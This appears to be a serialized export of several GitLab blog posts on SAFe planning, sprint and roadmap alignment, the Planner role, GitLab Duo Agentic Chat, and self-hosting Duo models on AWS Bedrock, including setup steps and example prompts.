time](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics) metrics\n* Dashboards that can be scoped to teams\n\nThese metrics help you understand if your team is getting faster, where they're getting stuck, and what you might want to talk about in your next retrospective.\n\n![Burndown and burnup charts](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097576758.png)\n\n## 5 reasons a unified platform provides an advantage\n\nI know there are plenty of planning tools that can handle SAFe ceremonies. But there are game-changing reasons why I genuinely believe GitLab is different:\n\n1. **No more context switching** - Your planning, coding, testing, and security all happen in one place.\n2. **Everything's connected** - You can trace work from the big epic down to the code and deployment.\n3. **Everyone's on the same page** - Developers, product folks, and security teams all work together in the same tool.\n4. **Total visibility** - Stakeholders have one place to check for updates.\n5. **The full picture** - You see planning and development metrics together, so you know what's really going on.\n\nIf your dev teams already love GitLab, why make them jump to another tool for planning or create some complex, cobbled-together integrations? Bringing your SAFe planning into GitLab creates a much smoother experience for everyone.\n\n## Implementation principles\n\nI've worked with teams transitioning from traditional SAFe tools to GitLab, and here's what I've learned: Focus on **what each ceremony is trying to accomplish**, not on recreating exact replicas of your old tools.\n\nThe teams that get the most out of GitLab are the ones who embrace its native capabilities instead of fighting against them. Yes, it takes some initial work to figure out how to map your SAFe concepts and set up your workflows. But once you do, you'll find your processes actually get simpler rather than more complex.\n\nThe key is defining conventions that everyone follows. Which labels mean what? How will you track teams? What goes in an epic versus an issue? With a little upfront investment in these decisions, you'll end up with an intuitive system that eliminates all that cross-tool coordination overhead.\n\n## Getting started\n\nReady to give this a shot? Here's how to start implementing SAFe in GitLab:\n\n1. **Set up your structure** - Create groups and subgroups that [match your organization](https://about.gitlab.com/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/).\n2. **Define your work breakdown** - Decide how you'll use [epics](https://about.gitlab.com/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management/), [issues](https://docs.gitlab.com/user/project/issues/managing_issues/), and [tasks](https://docs.gitlab.com/user/tasks/).\n3. **Create your iterations** - Set up your [sprint schedule](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence).\n4. **Add your milestones** - [Milestones](https://docs.gitlab.com/user/project/milestones/#create-a-milestone) will represent your Program Increments in GitLab.\n5. **Build your boards** - Create different views for different ceremonies.\n6. **Agree on conventions** - Document how you'll use labels and custom fields.\n\nTaking time to think through these decisions upfront will save you many headaches later. And remember, you don't have to perfect it on day one - you can always adjust as you learn.\n\n## Bringing it all together\n\nGitLab gives you a solid foundation for running SAFe, especially if your dev teams are already GitLab fans. When you bring planning and development into the same tool, you eliminate those painful handoffs, make collaboration way easier, and get everything moving faster.\n\nThe beauty of GitLab's planning tools is that they're flexible enough to adapt to your specific flavor of SAFe. You're not locked into rigid workflows - you can evolve your approach as your teams mature and your needs change.\n\n> Ready to see how much better life is without those planning silos? [Start your free trial today](https://about.gitlab.com/free-trial/) and experience firsthand how GitLab can transform your SAFe implementation.\n\n*💡 If you liked this topic check out this related post - [GitLab for Agile Software Development](https://about.gitlab.com/blog/gitlab-for-agile-software-development/)*\n",[792,485,793,765,794],"agile","features","tutorial",{"slug":796,"featured":91,"template":797},"safe-without-silos-in-gitlab","BlogPost",{"content":799,"config":808},{"title":800,"description":801,"authors":802,"heroImage":803,"date":804,"body":805,"category":676,"tags":806},"How to harmonize Agile sprints with product roadmaps","Apply best practices and GitLab features to your product journey, including creating centralized roadmaps, conducting review sessions, and tracking sprint lifecycles.",[787],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097231/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2821%29_2pdp2MNB7SoP4MhhiI1WIa_1750097230664.png","2025-02-04","Picture this: Product and Development teams are working in isolation. Product has created a 12-month roadmap and communicated it to internal stakeholders but didn't review it with their development team. Dev starts building the features planned for the upcoming sprint without considering the broader product roadmap, leading to missed opportunities to optimize timing, like running projects in parallel, accounting for team capacity, or building reusable APIs that could serve multiple initiatives. The lack of coordination results in inefficiencies and delayed value delivery.\n\nBalancing short-term wins with long-term vision isn’t easy; it requires clear communication, aligned priorities, and the right tools. In this guide, you'll learn strategies to help harmonize your Agile sprints with strategic roadmaps, tackle common challenges, and uncover actionable solutions tailored to your teams.\n\n## The importance of a single source of truth\n\nA consistent single source of truth for roadmaps with longer-range goals ensures you and your teams have access to up-to-date information about the bigger picture. In practice, this means maintaining a single, regularly updated platform where all roadmap details reside rather than keeping versions of the roadmap across multiple formats, each typically with slightly different information, causing a misaligned understanding of where you're headed.\n\n### Create a centralized roadmap\n\nBy creating a centralized roadmap for your team, you can:\n\n* communicate long-range strategy\n* minimize miscommunication\n* facilitate cross-functional alignment\n* quickly adapt to changes without losing context\n* self-serve information, reducing dependency on a single point of contact who retains the information\n\n***GitLab tip**: Use [epics](https://docs.gitlab.com/ee/user/group/epics/) and [Roadmap view](https://docs.gitlab.com/ee/user/group/roadmap/) to support both product planning and the transparent monitoring of delivery. The Roadmap view allows you to track progress, identify bottlenecks, and ensure alignment between high-level goals and sprint-level execution.*\n\n![Roadmap view for group](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097239117.png)\n\n## Collaborative roadmap review practices\n\nEstablish a regular review and sign-off process for roadmap updates that include Product, Engineering, and UX as part of the [product trio](https://www.producttalk.org/product-trio/). Collaborative reviews help you maintain alignment and minimize risk. At GitLab, I meet with my engineering manager and UX designer monthly to review and obtain sign-offs on any changes. We maintain a running sign-off on the roadmap wiki page itself that holds us accountable for keeping the schedule and provides transparency to the rest of the organization.\n\n#### How to extract value from review sessions\n\nTo make the most of the review session, aim for the following best practices:\n\n* Schedule routine reviews, monthly or quarterly, depending on how frequently the roadmap tends to fluctuate at your organization.\n* Validate alignment between product goals, UX lead time, and technical feasibility by discussing potential risks and dependencies upfront.\n  * Validate that the roadmap reflects current organizational business objectives.\n  * Ensure that design timelines are realistic and consider research or validation needs.\n  * Confirm that the roadmap allocates time for technical preparation, such as technical spikes or investigations, and ensures alignment with broader engineering priorities.\n* Optimize team utilization by considering capacity constraints and ensuring the sequence of work aligns with the team’s skill profile. This includes avoiding periods of underutilization or skill mismatches while effectively planning for situations like staffing level drops during holidays.\n* Right-size scope and set appropriate expectations about what can be achieved. We all want to do it all, but perfection is the enemy of progress so prioritize what truly matters to deliver incremental value efficiently. Seek opportunities to optimize by identifying ways to iterate or increase velocity, such as adjusting the order of work to reduce dependencies or leveraging reusable components to streamline development.\n* Encourage open dialogue about trade-offs and priorities to ensure all perspectives are considered. This collaborative approach helps identify creative solutions to challenges and builds consensus on the best path forward.\n\n***GitLab tip**: Use a [GitLab Wiki](https://docs.gitlab.com/ee/user/project/wiki/) page to complement the [Roadmap](https://docs.gitlab.com/ee/user/group/roadmap/) feature. In the wiki, you can include expanded context about your product roadmap, such as business rationale, links to user research, RICE scores, and details about dependencies or risks. Link directly to the roadmap for easy access, and leverage the upcoming discussion threads feature to encourage async collaboration and feedback from your team.*\n\n![PlanFlow product roadmap](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097239118.png)\n\n## Continuous direction validation and progress measurement\n\nThe goal of a product roadmap isn’t just to stay on track – it’s to deliver real value to your customers. To make space for sharing ongoing user feedback and behavioral data consider incorporating regular touchpoints across your product trio outside of sprint cycles. These sessions can be used to review insights, analyze trends, and ensure that the product roadmap continues to reflect the evolving needs of your users. By grounding roadmap updates using real user insights, you’re not only delivering on outcomes but also adapting to what really matters to your customers.\n\nThe value you ship might come in the form of improved usability, reduced technical debt, or entirely new capabilities. When the product trio is aligned on the roadmap vision, they’re also aligned on the outcomes you’re working to achieve.\n\nTo measure whether you’re on track to deliver those outcomes, you need to closely scope the intended results. Scope creep, like late user story additions, can delay your ability to ship value. Additionally, it’s important to identify work that was delivered but doesn’t align with the roadmap and understand why.\n\n### Sprint planning\n\nRemaining aligned with your product roadmap starts with thoughtful sprint planning. Here are some best practices to keep your team on track and focused on delivering value:\n\n* Clearly define, and narrowly scope, desired outcomes to ensure high confidence in delivery.\n* Identify potential late additions or adjustments that could delay delivery, and build in buffers to maintain focus.\n* Align on the sequence of work with your team to optimize for capacity, skill profiles, and reducing dependencies.\n* To maintain focus and improve confidence of delivering on time, avoid planning to 100% of the team’s capacity. Leave room (10%-20%) for unknowns or new discoveries that may surface during the sprint.\n\n### During the sprint\n\nStaying aligned with your roadmap during the sprint requires focus, communication, and constant evaluation. While delivering value is the goal, it’s equally important to ensure the work in progress aligns with the outcomes you’ve scoped and planned.\n\n* Continuously validate the work in progress against roadmap outcomes to ensure every sprint contributes to the bigger picture.\n* Encourage the team to regularly check if they’re still working toward the intended goals and outcomes.\n* Maintain open communication throughout the sprint. Use daily standups or async updates to surface risks, unplanned work, or dependencies early and adjust where necessary.\n* Be ruthless about protecting the sprint. While the urge to solve emerging problems is natural, unplanned work should be carefully evaluated to avoid derailing agreed-upon priorities.\n* Proactively manage scope creep. If new work surfaces mid-sprint, assess whether it aligns with the current roadmap outcome’s narrowly scoped focus. While additional ideas or features may align conceptually with the broader outcome, they may not fit into the immediate plan to deliver value as soon as possible. Document these suggestions and evaluate if they should be considered as part of future iterations or as a nice-to-have for the future, rather than introducing them into the current sprint and delaying agreed-upon priorities.\n\n### Sprint retros\n\nIn your sprint retrospectives, take time to reflect with your team on how well you are collectively progressing toward your desired outcomes. Questions to ask:\n\n* Did any unplanned work get introduced during the sprint that delayed your ability to deliver value? Identify why it happened and what adjustments can be made.\n* Did you deliver any work that deviated from the roadmap? Discuss what led to this and what you can learn for future planning.\n\nFrom sprint planning through retrospectives, staying focused on delivering tangible outcomes to users and stakeholders is a team responsibility. By aligning every step of the way, you ensure that your roadmap remains a clear guide for delivering value efficiently and consistently.\n\n***GitLab tip:** Use [burndown charts](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html) to visualize progress and detect deviations early, helping your team stay focused on delivering outcomes.*\n\n![Burndown chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097239120.png)\n\n## Delivering roadmap outcomes with confidence\n\nHarmonizing Agile sprints with strategic roadmaps requires intentionality, team buy-in, and the proper tools. By creating a roadmap single source of truth, fostering collaborative reviews, and measuring progress towards outcomes, you can align execution with vision. With GitLab’s robust planning features, teams can turn challenges into opportunities for innovation and growth.\n\nReady to align your sprints with your strategic roadmap? [Start a free trial of GitLab](https://about.gitlab.com/free-trial/) today and explore the tools that can help you deliver outcomes with confidence.\n\n## Learn more\n\n- [Agile planning content hub](https://about.gitlab.com/blog/categories/agile-planning/)\n- [GitLab’s new Planner role for Agile planning teams](https://about.gitlab.com/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams/)\n- [Get to know the GitLab Wiki for effective knowledge management](https://about.gitlab.com/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/)",[792,794,807,485],"workflow",{"slug":809,"featured":91,"template":797},"how-to-harmonize-agile-sprints-with-product-roadmaps",{"content":811,"config":819},{"title":812,"description":813,"authors":814,"heroImage":815,"date":816,"body":817,"category":676,"tags":818},"Introducing GitLab’s new Planner role for Agile planning teams","Learn how GitLab’s new Planner role helps Agile teams manage planning workflows, with tailored access across SaaS, Dedicated, and Self-managed solutions.",[787],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","2024-11-25","GitLab launched a new role within the DevSecOps platform – the Planner. Built to align with GitLab’s strategy of providing flexible, role-based access controls, as demonstrated by the release of [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html), the Planner role gives software development teams and planning-focused users access to the tools they need to manage Agile workflows without over-provisioning permissions that could introduce unnecessary risks. By tailoring access to meet specific user needs, the Planner role ensures teams can stay productive while maintaining security and compliance, adhering to the [principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n\n## Why we created the Planner role\n\nOur journey to this new role started with feedback from our customers and internal teams. We consistently heard that while GitLab offers comprehensive tools for planning and managing Agile development cycles, there was a need for more specific role-based access controls. Product managers, project leads, and other planning roles often required access to planning features but didn’t need full development permissions. In fact, giving them broader access is undesirable, as it increases security risks and potential for errors, such as making unintended changes to code or sensitive configurations. We listened.\n\nThrough user interviews, competitive analysis, and extensive research, we validated the need for a role that grants full access to planning tools while maintaining security by restricting access to developer-centric features.\n\n## What does the Planner role offer?\n\nThe Planner role is a hybrid of the existing [Guest and Reporter roles](https://docs.gitlab.com/ee/user/permissions.html#roles) but designed specifically for those who need access to planning workflows. \n\nHere’s what you can expect:\n\n* Access to key planning tools like epics, roadmaps, issue boards, and [OKRs](https://docs.gitlab.com/ee/user/okrs.html) (*some features may require a GitLab Premium or Ultimate license*)  \n* Enhanced security by limiting unnecessary access to sensitive development features  \n* The Planner role can be used in conjunction with the Enterprise Agile Planning add-on, providing teams with tailored access to planning tools while maintaining security and control.  (*however, the Planner role itself is available on all license tiers*).\n\nThe Planner role is available across all GitLab solutions, including SaaS, GitLab Dedicated, and Self-managed, ensuring that all customers can benefit from this tailored access.\n\nThis role gives teams the flexibility to align permissions with job functions, creating a balance between accessibility and security.\n\n## How the Planner role supports Agile practices\n\nIn [Agile software development](https://about.gitlab.com/blog/categories/agile-planning/), ensuring that each team member has the right tools and permissions to perform their role is crucial for workflow efficiency. The Planner role supports this by allowing planning team members to fully participate in the planning stages of the software development lifecycle without the risk of overstepping into areas like development or deployment.\n\nFrom creating and managing epics to defining roadmaps, the Planner role gives Agile teams the tools they need to stay aligned and productive.\n\n## Customer-centric design\n\nWe didn’t create this role in isolation. We involved our community in the process every step of the way. Through surveys, interviews, and testing, we fine-tuned the permissions to make sure they fit the real-world needs of product and project managers.\n\nThe role also aligns with GitLab’s long-standing mission to be a platform for enterprise Agile teams, giving businesses the flexibility and control to implement Agile methodologies at scale.\n\n## Community feedback and engagement \n\nWe value your input and encourage you to share your experiences with the new Planner role. Your feedback is essential to help refine and improve your GitLab experience. Please visit our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/503817) to provide your thoughts and suggestions.\n\n## Start planning with GitLab today!\n\nThe Planner role is just one of the many ways GitLab empowers software development teams to plan, collaborate, and deliver efficiently. Whether you’re looking to streamline your product management workflows, improve team collaboration, or align your Agile practices, GitLab has the tools to help you succeed.\n\n> Ready to experience the full power of GitLab? [Sign up for a free GitLab Ultimate trial](https://about.gitlab.com/free-trial/) and start planning your next project with the Planner role, tailored to fit your team's unique needs.\n\n## Read more\n- [Beyond Devs: GitLab Enterprise Agile Planning add-on for all roles](https://about.gitlab.com/blog/gitlab-enterprise-agile-planning-add-on-for-all-roles/)\n- [How to use GitLab for Agile software development](https://about.gitlab.com/blog/gitlab-for-agile-software-development/)\n- [First look: The new Agile planning experience in GitLab](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/)",[792,485,793,765],{"slug":820,"featured":91,"template":797},"introducing-gitlabs-new-planner-role-for-agile-planning-teams",{"category":683,"slug":687,"posts":822},[823,836,850],{"content":824,"config":834},{"title":825,"description":826,"authors":827,"heroImage":830,"date":831,"body":832,"category":687,"tags":833},"Get started with GitLab Duo Agentic Chat in the web UI","Learn about our new GitLab Duo AI feature that automates tasks by breaking down complex problems and executing operations across multiple sources.",[828,829],"Fatima Sarah Khalid","Daniel Helfand","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664458/Blog/Hero%20Images/Gartner_AI_Code_Assistants_Blog_Post_Cover_Image_1800x945.png","2025-08-11","In May 2025, GitLab launched an experimental feature called [GitLab Duo\nAgentic\nChat](https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover/).\nThe goal of Agentic Chat was to build on the success of [GitLab Duo\nChat](https://docs.gitlab.com/user/gitlab_duo_chat/), which is an AI chat\nexperience built into supported IDEs and in the GitLab UI. While Chat\nprovides answers and suggestions for developers using the GitLab platform,\nAgentic Chat can more directly interact with the GitLab API on behalf of\nusers, taking actions on their behalf as a result of the conversation.\n\n\nIn addition to being available in a variety of IDEs, Agentic Chat is available directly within the GitLab UI for GitLab users with the Duo Pro or Enterprise add-on. Adding Agentic Chat to the GitLab UI helps make this experience more accessible to all GitLab users and easy to integrate into your workflows. To open Agentic Chat:\n\n\n1. Navigate to any Group or Project in your GitLab instance.  \n\n2. Look for the GitLab Duo Chat button (typically in the top right corner).  \n\n3. Click to open the chat panel.  \n\n4. Toggle to **Agentic mode (Beta)** in the chat window.\n\n\n**Pro tip:** Keep the chat panel open as you work — it maintains context and can help you across different pages and projects.\n\n\nTo get familiar with Agentic Chat, ask about the tools it can work with. This is like using the help command for a command-line tool.  \n\n\n```offset\nWhat tools do you have access to? \n```\n\n![GitLab Duo Agentic Chat screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754584200/emtgilbzbu8ftkynjozg.png)\n\nThe output above shows us that Agentic Chat has access to a variety of GitLab APIs and data that will allow it to perform complex tasks across the software development lifecycle.   \n\n## Issue management made easy\n\n\nGitLab Duo Agentic Chat can help you keep track of issues, find specific ones, understand the status, and take actions based on conversations in these issues. Instead of navigating through pages and pages of issues, you ask Agentic Chat about the issues in a project. It will respond with high-level information about the issues, including the priority, labels, and the status of the issue.\n\n\nFor a specific issue, Agentic Chat will fetch the issue details, provide a concise summary, highlight recent activity, and share the goal of the issue. This is particularly helpful when you need context or updates before a meeting or are researching the issue before picking it up. \n\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1107479358?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Agentic Chat UI Issue Management\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cp>\u003C/p>\n\n\nYou can also try more complex queries if you're looking to better understand a project overall. And once you've discovered these issues, you can make changes to them like adding labels, updating milestones, and re-organizing them. \n\n\nFor example, maybe you're looking for all the issues that are database- or performance-related in order to prioritize them in the next sprint. You could task Agentic Chat with the following prompt.\n\n\n```offset\nAnalyze all issues labeled 'performance' and 'database' - group them by component and show me which ones have had the most discussion activity in the last 30 days.\n```\n\n\nAgentic Chat will respond with issues grouped by the backend and frontend component of a project, identify the issues with significant discussion activity, and provide insights on these kinds of issues (e.g., when were most of these issues created or which component issues have more active discussion).\n\n\n```offset\nCreate an issue template for bug reports that includes:\n\n- Steps to reproduce\n\n- Expected behavior vs actual behavior\n\n- Environment details (browser, OS, GitLab version)\n\n- Severity assessment\n\n- Screenshots/error logs section\n\nName it \"bug_report.md\" and format it as a proper GitLab issue template\n```\n\n\n## CI/CD support  \n\n\nThis is where GitLab Duo Agentic Chat truly becomes your debugging superhero. We've all been there: a pipeline fails and you have to click through job logs trying to understand what went wrong. Agentic Chat can do more than just explain the failure to you and suggest recommendations. After reviewing the failed pipeline logs, Agentic Chat can suggest a fix and also add the fix to a merge request you are working on.\n\n\nLet's say you have a merge request adding a new feature, but the pipeline is failing. Instead of clicking through each failed job and trying to piece together what's wrong, you can ask Agentic Chat to investigate.\n\n\nAgentic Chat will analyze the pipeline, check the job logs, and explain that the tests are failing because of missing test data or configuration issues. But here's where it gets even more powerful — you don't have to stop at understanding the problem. Agentic Chat can also act on the advice it presents and add commits to fix the pipeline in the merge request.\n\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1107495269?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Agentic Chat CI/CD Fix\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\n\n## Building complex prompts\n\n\nGitLab Duo Agentic Chat can also help you craft your prompts. Let's say that you're running a bug bash with your team and want to triage all possible issues that might be bug reports.\n\n\nIf you use a simple prompt like below, Agentic Chat will come up with ways to find the related issues, such as searching for terms or pattern matching:\n\n\n```offset\nI need help writing an effective prompt to find all possible bug report issues in my GitLab project, including those that might not be properly labeled as \"bug\".\n```\n\nOften you can use the recommendations in Agentic Chat to build a more in-depth prompt based on what you're looking for: \n\n```offset\nI need help writing an effective prompt to find all possible bug report issues in my GitLab project, including those that might not be properly labeled as \"bug\". Please help me create a prompt that will:\n\n\n1. Search for common bug-related terminology beyond just the word \"bug\"\n\n2. Identify patterns that indicate bug reports (like \"steps to reproduce\", \"expected vs actual behavior\")\n\n3. Find technical issues that might be bugs (errors, crashes, performance problems)\n\n4. Catch user-reported problems that could be bugs but use different language\n\n\nThe prompt should ensure we don't miss any potential bugs regardless of how they're described or labeled. What would be the most effective approach and search strategy for this?\n```\n\n\nOnce you have the prompt and you're able to search for the issues you're looking for, that's where Agentic Chat really shines. Agentic Chat can triage and update those issues for you to prepare them for the bug bash:\n\n\n```offset\nFind and triage all bug-related issues for our bug bash event. Execute these steps:\n\n\n1. Search for potential bugs using individual searches:\n   - Core terms: \"bug\", \"fix\", \"error\", \"broken\", \"issue\", \"problem\", \"not working\"\n   - Bug patterns: \"steps to reproduce\", \"expected behavior\", \"regression\"\n   - Technical issues: \"exception\", \"crash\", \"console error\", \"500 error\", \"404 error\"\n   - Performance: \"slow\", \"freezes\", \"unresponsive\"\n\n2. For each issue found:\n   - Add the \"Event - Bug Bash\" label\n   - Assign appropriate bug severity label (critical/high/medium/low)\n   - Add to the current bug bash milestone\n   - If missing \"bug\" label, add it\n\n3. Create a triage list organized by:\n   - Critical bugs (data loss, crashes, security)\n   - High priority (blocking features, frequent errors)\n   - Medium priority (workarounds available)\n   - Low priority (minor UI issues)\n\nSearch both open and closed issues. Focus on actionable bugs that can be fixed during the bug bash, excluding enhancement requests. Provide a summary table with issue numbers, titles, and assigned severity for the bug bash team.\n```\n\n\nYou can ask Agentic Chat to create a bug report template, which increases efficiency and eliminates some manual effort. Also, future bug reports will have the structure and labels you need for more efficient triaging.   \n\n## Tips for effective prompting \n\n\nWhen you're working with GitLab Duo Agentic Chat, it's important to phrase your requests with action-oriented verbs like \"create,\" \"update,\" \"fix,\" or \"assign.\" This will trigger the agentic tools to take action rather than summarize or share information with you. One approach before taking agentic actions can be to request summaries and analyses — the way we did with the issues about bugs. Then, see what gets returned before taking actions like applying a label or adding to a milestone. \n\n\nIt's also important to give clear criteria when asking for bulk operations. Specify exact conditions like \"all issues with the 'bug' label created in the last week\" or \"merge requests waiting for review for more than 3 days.\" The more specific you are, the more accurate and helpful the results will be.\n\n\nSince Agentic Chat has the ability to maintain context, you can chain requests and build on previous requests. After getting an initial set of issues, you might ask \"From those issues, which ones are unassigned?\" and then follow up with \"Assign the high-priority ones to the backend team.\" This allows you to refine and act on information iteratively. \n\n\nWe recommend starting with an open-ended request and allowing GitLab Duo to help you look for patterns or similar problems across your project. That will help you catch any problem that you may have missed or understand the scope of the challenge before taking action.   \n\n\n## Get hands-on with GitLab Duo Agentic Chat\n\n\nWe hope all the ideas above give you some thoughts on getting started with Agentic Chat, but we are even more excited to see all our users' ideas come to life with it. To try the Agentic Chat UI experience in your next project, sign up for a [free trial of GitLab Ultimate with Duo Enterprise](https://about.gitlab.com/free-trial/). You can learn more about GitLab Duo Agentic Chat on our [documentation page](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/), which also details how to enable Agentic Chat in the GitLab UI.\n",[683,109],{"featured":91,"template":797,"slug":835},"get-started-with-gitlab-duo-agentic-chat-in-the-web-ui",{"content":837,"config":848},{"title":838,"description":839,"authors":840,"heroImage":843,"body":844,"category":687,"tags":845,"date":847},"Own your AI: Self-Hosted GitLab Duo models with AWS Bedrock","Discover how to leverage AI while maintaining control over your data, infrastructure, and security posture.",[841,842],"Chloe Cartron","Olivier Dupré","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098682/Blog/Hero%20Images/Blog/Hero%20Images/duo-blog-post_1Cy89R1pY8OMwyrgSB525O_1750098682075.png","As organizations adopt AI capabilities to accelerate their software\ndevelopment lifecycle, they often face a critical challenge: how to leverage\nAI while maintaining control over their data, infrastructure, and security\nposture. This is where [GitLab Duo\nSelf-Hosted](https://about.gitlab.com/gitlab-duo/) provides a compelling\nsolution.\n\nIn this article, we'll walk through the implementation of GitLab Duo Self-Hosted models. This comprehensive guide helps organizations needing to meet strict data sovereignty requirements while still leveraging AI-powered development. The focus is on using models hosted on AWS Bedrock rather than setting up an [LLM](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/) serving solution like vLLM. However, the methodology can be applied to models running in your own data center if you have the necessary capabilities.\n\n## Why GitLab Duo Self-Hosted?\n\nGitLab Duo Self-Hosted allows you to deploy GitLab's AI capabilities entirely within your own infrastructure, whether that's on-premises, in a private cloud, or within your secure environment.\n\n\nKey benefits include:\n\n* **Complete Data Privacy and Control:** Keep sensitive code and intellectual property within your security perimeter, ensuring no data leaves your environment.\n\n* **Model Flexibility:** Choose from a variety of models tailored to your specific performance needs and use cases, including Anthropic Claude, Meta Llama, Mistral families, and OpenAI GPT families.\n\n* **Compliance Adherence:** Meet regulatory requirements in highly regulated industries where data must remain within specific geographical boundaries.\n\n* **Customization:** Configure which GitLab Duo features use specific models to optimize performance and cost.\n\n* **Deployment Flexibility:** Deploy in fully air-gapped environments, on-premises, or in secure cloud environments.\n\n\n## Architecture overview\n\nThe GitLab Duo Self-Hosted solution consists of three core components:\n\n1. **Self-Managed GitLab instance**: Your existing GitLab instance where users interact with GitLab Duo features.\n\n2. **AI Gateway**: A service that routes requests between GitLab and your chosen LLM backend.\n\n3. **LLM backend**: The actual AI model service, which, in this article, will be AWS Bedrock.\n\n**Note:** You can use [another serving platform](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/) if you are running on-premises or using another cloud provider.\n\n\n![Air-gapped network flow chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/jws4h2kakflfrczftypj.png)\n\n\n## Prerequisites\n\nBefore we begin, you'll need:\n\n* A GitLab Premium or Ultimate instance (Version 17.10 or later)  \n\n  * We strongly recommend using the latest version of GitLab as we continuously deliver new features.\n\n* A GitLab Duo Enterprise add-on license  \n\n* AWS account with access to Bedrock models *or your API key and credentials needed to query your LLM Serving model*\n\n\n**Note:** If you aren't a GitLab customer yet, you can [sign up for a free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/), which includes GitLab Duo Enterprise.\n\n## Implementation steps\n\n**1. Install the AI Gateway**\n\n\nThe AI Gateway is the component that routes requests between your GitLab instance and your LLM serving infrastructure — here that is AWS Bedrock. It can run in a Docker image. Follow the instructions from our [installation documentation](https://docs.gitlab.com/install/install_ai_gateway/) to get started. \n\n\nFor this example, using AWS Bedrock, you also must pass the AWS Key ID and Secret Access Key along with the AWS region.  \n\n\n```yaml\n\nAIGW_TAG=self-hosted-v18.1.2-ee`\n\ndocker run -d -p 5052:5052 \\\n\n  -e AIGW_GITLAB_URL=\u003Cyour_gitlab_instance> \\\n\n  -e AIGW_GITLAB_API_URL=https://\u003Cyour_gitlab_domain>/api/v4/ \\\n\n  -e AWS_ACCESS_KEY_ID=$AWS_KEY_ID\n\n  -e AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY \\\n\n  -e AWS_REGION_NAME=$AWS_REGION_NAME \\\n\nregistry.gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/model-gateway:$AIGW_TAG \\\n\n```\n\nHere is the [`AIGW_TAG` list](https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/tags).\n\n\nIn this example we use Docker, but it is also possible to use the Helm chart. Refer to [the installation documentation](https://docs.gitlab.com/install/install_ai_gateway/#install-by-using-helm-chart) for more information.\n\n\n**2. Configure GitLab to access the AI Gateway**\n\n![Configure GitLab to access the AI Gateway](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/xj9kvljkqsacpsw41k4a.png)\n\nNow that the AI gateway is running, you need to configure your GitLab instance to use it.\n\n  - On the left sidebar, at the bottom, select **Admin**.  \n\n  - Select **GitLab Duo**.  \n\n  - In the GitLab Duo section, select **Change configuration**.  \n\n  - Under Local AI Gateway URL, enter the URL for your AI gateway and port for the container (e.g., `https://ai-gateway.example.com:5052`).\n  \n  - Select **Save changes**.\n\n\n**3. Access models from AWS Bedrock** \n\n\nNext, you will need to request access to the available models on AWS Bedrock. \n\n\n  - Navigate to your AWS account and Bedrock.  \n\n  - Under **Model access**, select the models you want to use and follow the instructions to gain access. \n\n\nYou can find more information in the [AWS Bedrock documentation](https://docs.aws.amazon.com/bedrock/latest/userguide/getting-started.html).\n\n\n**4. Configure the self-hosted model**\n\nNow, let's configure a specific AWS Bedrock model for use with GitLab Duo.\n\n![Add the self-hosted model screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/chrlgdvxwdetcszptsav.png)\n\n  - On the left sidebar, at the bottom, select **Admin**.  \n\n  - Select **GitLab Duo Self-Hosted**.  \n\n  - Select **Add self-hosted model**.\n  \n  - Fill in the fields:  \n    * **Deployment name**: A name to identify this model configuration (e.g., \"Mixtral 8x7B\")  \n    * **Platform:** Choose AWS Bedrock  \n    * **Model family:** Select a model, for example here \"Mixtral\"  \n    * **Model identifier:** bedrock/`model-identifier` 